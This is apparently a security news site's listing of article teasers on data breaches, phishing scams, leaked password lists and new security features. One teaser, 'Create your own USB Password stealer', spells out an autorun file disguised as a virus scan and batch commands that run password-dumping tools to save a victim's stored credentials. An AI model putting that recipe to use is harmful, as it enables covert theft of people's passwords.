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Extracting Hashes & Plaintext Passwords from Windows 10

Windows 10 is here. Well… it’s sort of been here for some time, but it’s fully rolled out now and soon we will begin to see enterprise adoption. I, like I’m sure many others out there, have been playing with Windows 10 in a virtual environment the last few weeks. My motivation has primarily been […]

MugShot Program Provides You Picture of Culprit Trying to Hack You

If you feel continually threatened by hackers then this program will help in tracking the culprit and definitely offer you some relief. You must have received an e-mail from a service informing you about some trying to break into your email account. You must have thought.. who would do this to me? Well, now you can […]

New Amazon Phishing Scam Steals Credit Card Details

An email is being sent to users having the subject line ‘New Security feature’ and its sender appears to be Amazon. In this email, the company informs the recipient that a new security feature has been added and therefore, the user has to click on the provided link to update account information. The email also […]

UK Based Recruitment Portal Suffers Massive Data Breach

A Saudi hacker going with the online handle of JM511 has breached into the server of a UK-based international network of independent recruitment experts known as TEAM. After bypassing the security hacker accessed and leaked login credentials of thousands of registered recruitment agencies over the Internet. The breach was conducted on 8th August 2015 in which […]

Credentials of over 47 U.S Government Agencies Leaked on the Internet

Reportedly, login credentials of around 47 U.S government institutions across 89 different domains have been leaked. Apparently, in the earlier part of 2015, 12 out of these 47 agencies (including the Department of State & Energy) allowed access to their computer network without two-factor authentication to some of their users. Resultantly, “the presence of these […]

Emojis To Be Your New Pin Codes

So long Password1234 or surname1, there is a new, more readily memorable password system on our doorstep — That is what Intelligent Environments are implying with their new innovation, Emoji Passcode. The British financial services technology firm has created a revolutionary new mobile app that will allow users to create emoji-based passwords, that may be […]

Leading Password Security Company LastPass Hacked

Joe Siegrist from LastPass, a famous password manager program, admitted that its database comprising of email addresses, server per user salts, password reminders and authentication hashes were hacked. Joe Siegrist from LastPast wrote in his blog post published yesterday that “investigation has shown … that LastPass account email addresses, password reminders, server per user salts, […]

Facebook Adding PGP Encryption to Prevent Email Hacks

The feature of adding OpenPGP public keys to profiles is launched by Facebook to prevent your notification emails from prying eyes of hackers. Facebook has added a new feature for the convenience of its users. Reportedly, this new feature will allow users to add an encryption key to their accounts for securing their email notifications. […]

Researcher publishes 10 million passwords, usernames amid FBI raid

A security researcher has revealed from a research of various data breaches, a collection of 10 million usernames and passwords. The leaked database dumps that had the 10 million usernames and passwords were already available to the public online. But a popular security consultant, Mark Burnett – the person involved in the collecting and researching […]

How to Check if You Were Exposed in the 10 Million Password Release?

What is the news? A security researcher has released 10 million usernames and passwords in public domain. Mark Burnett has collected this data from various data breaches for his research purpose over the past ten years. He has also written an entire article justifying the release and fearing the prosecution as a consequence of this […]

Raptr site Hacked – Users advised to Immediately Change their Passwords

One of the most popular online gaming profile trackers Raptr has been hacked and its users are pressed to change their user account passwords at the earliest opportunity. An interesting fact about this attack is that the label is similar to those recently carried out against other popular online gaming platforms Xbox Live and PlayStation […]

SplashData reveals most popular passwords of 2014

“123456” remains and retains the top position in the most popular or rather “worst password” list, says SplashData News, which compiles millions of stolen passwords that are made public and then arranges them in decreasing order of occurrences. The report noted that simple numerical passwords still remain common like last year and the first time […]

Create your own USB Password stealer

This tutorial will walk you through setting up a USB flash drive to steal the saved passwords on a computer. Method 1 open notepad/wordpad ————————————— type:[autorun] open=launch.bat ACTION= Perform a Virus Scan ————————————— save this as AUTORUN.inf open a new notepad/wordpad document type:start mspass.exe /stext mspass.txt start mailpv.exe /stext mailpv.txt start iepv.exe /stext iepv.txt start […]

Domino�s Pizza Database Hacked, 650,000+ Customer Records Stolen

A group of hackers going with the handle of Rex Mundi breached into the database of Domino�s Pizza websites in France and Belgium and ending up with access to more than 592,000 records of French customers and 58,000 records of Belgians. Hackers announced the news by using Twitter, and it seems that the reason behind […]

Yahoo! Mail hacked, passwords and user information stolen

Yahoo has been hacked again. On Thursday Yahoo announced that usernames and passwords of its email users have been stolen by unknown hackers. The world’s second largest email service provider Yahoo Inc has around 273 million email accounts all over the world. However, the company didn’t mention how many accounts were affected  Yahoo said in a blog post that: […]

Snapchat Hacked, 4.6M Usernames and Phone Numbers Published Online

Emerging photo messaging application Snapchat has been hacked, as a result unknown hackers have leaked and published personal information including usernames and phone numbers of about 4 Million plus users online. Hackers published the hacked data on a website SnapchatDB. The TechChurch reported that hackers at SnapchatDB accessed the data by exploiting a vulnerability which has been […]